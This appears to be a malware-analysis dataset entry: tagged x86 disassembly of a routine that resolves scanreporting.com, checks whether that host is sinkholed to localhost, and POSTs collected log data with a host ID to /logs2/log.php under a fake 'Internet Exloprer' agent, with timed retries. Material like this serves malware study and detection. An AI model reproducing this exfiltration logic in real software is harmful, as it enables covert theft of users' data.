Function at 0x403970
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Resolve dns
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x424d9b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xccc
push ebx
push ebp
push esi
mov esi, ecx
mov eax, dword [esi + 0x1c]
mov edx, dword [eax + 4]
push edi
lea edi, [esi + 0x1c]
mov ecx, edi
call edx
push str._endlog_
push esi
call fcn.00403750
add esp, 8
xor ebp, ebp
lea eax, [esi + 0x38]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
call fcn.004044d0
mov dword [esp + 0xce4], ebp
mov dword [esi + 0x40], ebp
call fcn.00403cf0
mov edx, dword [edi]
mov eax, dword [edx + 8]
mov ecx, edi
call eax
cmp dword [esp + 0x20], ebp
je 0x403cbe
mov eax, dword [0x428270]
mov ecx, dword [str.scanreporting.com]
mov edx, dword [0x42826c]
mov dword [esp + 0x4c], eax
mov dword [esp + 0x44], ecx
mov ecx, dword [0x428274]
mov dword [esp + 0x48], edx
mov dx, word [0x428278]
lea eax, [esp + 0x44]
push eax
mov dword [esp + 0x54], ecx
mov word [esp + 0x58], dx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebp
je 0x403cbe
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
cmp dword [edx], 0x100007f
je 0x403cbe
mov eax, dword [str.Internet_Exloprer]
mov edx, dword [0x428284]
mov ecx, dword [0x428280]
mov dword [esp + 0x30], eax
mov eax, dword [0x428288]
mov dword [esp + 0x38], edx
lea edx, [esp + 0x2c]
push edx
mov dword [esp + 0x40], eax
lea eax, [esp + 0xdc]
push eax
mov dword [esp + 0x3c], ecx
mov cx, word [0x42828c]
push 0x26
push ebp
mov word [esp + 0x50], cx
mov dword [esp + 0x3c], 0x800
call dword [sym.imp.WININET.dll_InternetQueryOptionA]
cmp dword [esp + 0xd8], 3
mov esi, dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x14], ebp
jne 0x403ac8
mov ecx, dword [esp + 0xe0]
mov edx, dword [esp + 0xdc]
push ebp
push ecx
push edx
push 3
lea eax, [esp + 0x40]
push eax
call esi
mov dword [esp + 0x14], eax
cmp dword [esp + 0xd8], 1
jne 0x403ae2
push ebp
push ebp
push ebp
push 1
lea ecx, [esp + 0x40]
push ecx
call esi
mov dword [esp + 0x14], eax
cmp dword [esp + 0xd8], ebp
jne 0x403b08
mov edx, dword [esp + 0xe0]
mov eax, dword [esp + 0xdc]
push ebp
push edx
push eax
push ebp
lea ecx, [esp + 0x40]
push ecx
call esi
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0x14]
cmp esi, ebp
je 0x403cbe
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
push ebp
add eax, 0x2ac18000
push 0x989680
adc ecx, 0xfe624e21
push ecx
push eax
call fcn.0040a4b0
push eax
push str.empty
lea edx, [esp + 0x8e0]
push str._logs2_log.php_hostid_stm_d
push edx
call fcn.00404230
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x9c]
push ecx
mov byte [esp + 0x2b], 0
mov dword [esp + 0x3c], 5
call fcn.0040a0d0
add esp, 0x18
push ebp
push ebp
push 3
push ebp
push ebp
push 0x50
lea edx, [esp + 0x5c]
push edx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
cmp ebx, ebp
je 0x403c8b
push ebp
push ebp
push ebp
push ebp
push ebp
lea eax, [esp + 0x8ec]
push eax
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x403c7e
mov edx, dword [esp + 0x1c]
mov ecx, 0xc
mov esi, str.Content_Type:_application_x_www_form_urlencoded_r_n
lea edi, [esp + 0xa4]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x20]
push ecx
push edx
lea eax, [esp + 0xac]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [esp + 0xb0]
push ecx
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x403c77
xor eax, eax
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x69], eax
mov dword [esp + 0x6d], eax
mov dword [esp + 0x71], eax
mov dword [esp + 0x75], eax
mov dword [esp + 0x79], eax
mov dword [esp + 0x7d], eax
mov dword [esp + 0x81], eax
mov dword [esp + 0x85], eax
mov dword [esp + 0x2c], eax
push 0x20
lea eax, [esp + 0x6c]
push eax
push ebp
mov byte [esp + 0x74], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403c77
cmp dword [esp + 0xa0], 0x10
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x8c]
mov byte [esp + ecx + 0x64], 0
jae 0x403c64
lea eax, [esp + 0x8c]
lea edx, [esp + 0x64]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
sete byte [esp + 0x13]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, dword [esp + 0x14]
xor ebp, ebp
dec dword [esp + 0x24]
cmp byte [esp + 0x13], 0
jne 0x403cab
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x24], ebp
jg 0x403b79
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [esp + 0x88]
call fcn.00408ca0
mov eax, dword [esp + 0x1c]
cmp eax, ebp
je 0x403ccf
push eax
call fcn.00415d60
add esp, 4
mov ecx, dword [esp + 0xcdc]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret